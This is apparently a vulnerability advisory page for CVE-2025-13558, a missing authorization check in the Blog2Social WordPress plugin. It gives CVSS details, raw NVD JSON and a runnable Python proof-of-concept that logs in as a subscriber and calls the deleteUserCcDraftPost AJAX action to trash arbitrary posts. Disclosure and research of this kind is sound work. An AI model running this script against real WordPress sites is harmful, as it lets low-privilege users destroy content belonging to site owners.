Security Vulnerability Report
中文
CVE-2025-13558 CVSS 5.4 MEDIUM

CVE-2025-13558

Published: 2025-11-25 05:16:10
Last Modified: 2026-04-15 00:35:42

Description

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'deleteUserCcDraftPost' function in all versions up to, and including, 8.7.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change the status of arbitrary posts to trash.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Blog2Social WordPress Plugin < 8.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13558 PoC - Blog2Social Plugin Authorization Bypass # Target: WordPress site with Blog2Social plugin <= 8.7.0 def exploit(target_url, username, password, target_post_id): """ Exploit authorization bypass in Blog2Social's deleteUserCcDraftPost function. This PoC demonstrates how a low-privilege user can trash arbitrary posts. """ session = requests.Session() # Step 1: Authenticate as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the authorization bypass ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'deleteUserCcDraftPost', # Vulnerable function 'postId': target_post_id, # Arbitrary post ID to trash 'b2sDeleteNonce': 'exploit' # Nonce not properly validated } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Sent trashing request for post ID: {target_post_id}") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <post_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] post_id = sys.argv[4] exploit(target, user, pwd, post_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13558", "sourceIdentifier": "[email protected]", "published": "2025-11-25T05:16:09.863", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'deleteUserCcDraftPost' function in all versions up to, and including, 8.7.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change the status of arbitrary posts to trash."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.7.0/includes/Ajax/Post.php#L1858", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php?rev=3401934#L1867", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-13558/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61b590f5-7854-42f7-b5e2-e6feaaf03a73?source=cve", "source": "[email protected]"}]}}